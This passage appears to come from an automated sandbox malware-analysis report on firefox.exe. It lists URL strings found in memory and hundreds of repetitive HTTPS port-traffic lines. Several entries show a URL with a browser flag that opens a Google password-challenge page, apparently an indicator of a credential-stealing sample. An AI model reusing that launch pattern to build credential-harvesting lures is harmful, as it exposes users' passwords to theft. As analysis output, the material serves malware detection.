Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E204F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901864507.000001F5D54D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/Zy#
Source: firefox.exe, 0000001A.00000002.3012593775.00000D3B64053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013353841.00001E9753103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Zy#
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001A.00000002.3007478563.000001F5E3560000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E3568000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2973623994.000001F5DBED1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013353841.00001E9753103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.3007478563.000001F5E3568000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2992274625.000001F5E1BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897361049.000001F5C9950000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897078084.000001F5C9919000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2974318304.000001F5DBFF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901864507.000001F5D54EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2992027033.000001F5E1903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2873263974.0000014CC82D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2888282363.0000014CC8724000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2873263974.0000014CC82DA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2874205406.00000207758AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2881970784.0000020775CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2736225643.000001CB84731000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2766706086.0000023235E6F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897078084.000001F5C9919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2899065018.000001F5CB7C1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899065018.000001F5CB78D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899065018.000001F5CB769000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2873263974.0000014CC82D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2888282363.0000014CC8724000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2881970784.0000020775CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMozElements.MozEleme

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
